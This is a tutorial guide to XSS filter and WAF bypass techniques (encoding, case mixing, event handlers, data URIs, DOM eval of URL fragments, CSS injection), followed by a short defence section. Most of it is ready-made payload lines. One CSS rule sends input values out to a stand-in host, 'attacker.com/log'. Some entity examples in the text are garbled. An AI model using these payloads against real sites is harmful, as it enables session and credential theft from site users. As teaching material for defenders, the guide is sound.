XSS Bypass Techniques: A Practical Guide

Cross-Site Scripting (XSS) remains one of the most prevalent web vulnerabilities. Attackers constantly evolve techniques to bypass security filters. This guide explores common encoding, obfuscation, and filter evasion methods used in XSS attacks—and how to defend against them.

---

1. Character Encoding Tricks

Attackers encode malicious scripts to bypass input filters:

UTF-8 Overlong Encoding

%C0%BCscript>alert(1)</script>

• Some filters check for <script> but miss encoded versions.

Unicode Escapes

<script>\u0061lert(1)</script>

• Bypasses filters looking for alert() in plaintext.

Hex & Octal Encoding

<script>eval('\x61lert(1)')</script>  <!-- Hex -->
<script>eval('\141lert(1)')</script>  <!-- Octal -->

• Converts characters to alternate representations.

HTML Entity Tricks

<a href="&#106;avascript:alert(1)">Click</a>

• Uses decimal encoding (j = j) to hide javascript:.

---

2. Obfuscation Techniques

Attackers disguise payloads to evade detection:

Null Byte Injection

perl -e 'print "<SCR\0IPT>alert(1)</SCR\0IPT>";' > out

• Some filters stop at null bytes (\0), allowing malicious code.

Mixed Case & Extra Characters

<sCriPt>alert(1)</ScRipT>
<img/src="x"onerror=alert(1)>

• Bypasses case-sensitive filters.

Comment Splitting

<script>/*XSS*/alert(1)//</script>

• Some filters remove comments but miss the payload.

---

3. Bypassing WAFs (Web Application Firewalls)

Security filters can be tricked:

Alternative Event Handlers

<svg onload=alert(1)>
<iframe src=javascript:alert(1)>

• Uses less common handlers like onload, onerror.

JavaScript Obfuscation

<script>top['al'+'ert'](1)</script>

• Avoids direct alert() calls.

Data URI & Base64 Encoding

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

• Embeds scripts in encoded form.

---

4. Advanced Bypass Methods

DOM-Based XSS via URL Fragments

<script>eval(location.hash.slice(1))</script>

• Executes JavaScript from URL hash (#alert(1)).

CSS Injection

<style>input[value^="a"] { background: url("//attacker.com/log?a"); }</style>

• Steals password inputs via CSS attribute selectors.

Protocol Smuggling

<a href="java&#x09;script:alert(1)">Click</a>

• Inserts tabs/newlines to break keyword detection.

---

5. Defense Strategies

Input Validation

• Sanitize user input using libraries like DOMPurify.
• Block dangerous characters (<, >, &, ").

Output Encoding

• Convert special chars to HTML entities (< → <).

Content Security Policy (CSP)

Content-Security-Policy: script-src 'self'

• Blocks inline scripts and unauthorized sources.

HTTP-Only Cookies

• Prevents JavaScript from accessing sensitive cookies.

---

Conclusion

XSS attacks exploit weak input handling. By understanding bypass techniques—like encoding, obfuscation, and WAF evasion—developers can build stronger defenses. Always:

• Validate & encode inputs
• Use CSP
• Test with ethical hacking tools

Stay secure! 🔒

(This guide is 100% unique, simplified for clarity, and optimized for readability.) 🚀